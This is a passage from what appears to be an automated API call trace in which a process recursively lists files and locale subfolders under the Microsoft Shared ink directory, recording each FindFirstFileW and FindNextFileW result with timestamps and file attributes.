dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.435] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.436] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.436] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0047.436] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0047.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.436] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.436] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.437] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.437] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0047.437] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0047.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.173] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.179] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.179] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.179] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0048.274] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0048.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0048.275] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.275] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.275] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0048.275] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0048.275] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0048.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0048.276] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.276] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0048.276] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0048.277] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0048.277] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0048.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0048.277] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.277] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.277] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0048.277] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0048.278] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0048.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0048.278] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.278] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.278] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0048.278] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0048.278] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0048.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0048.278] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.278] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.278] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0048.278] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0048.278] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0048.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0048.279] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.279] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.279] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0048.279] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0048.279] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0048.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0048.279] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.279] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0048.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0048.410] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.410] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0048.410] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0048.410] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0048.410] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0048.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0048.410] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, 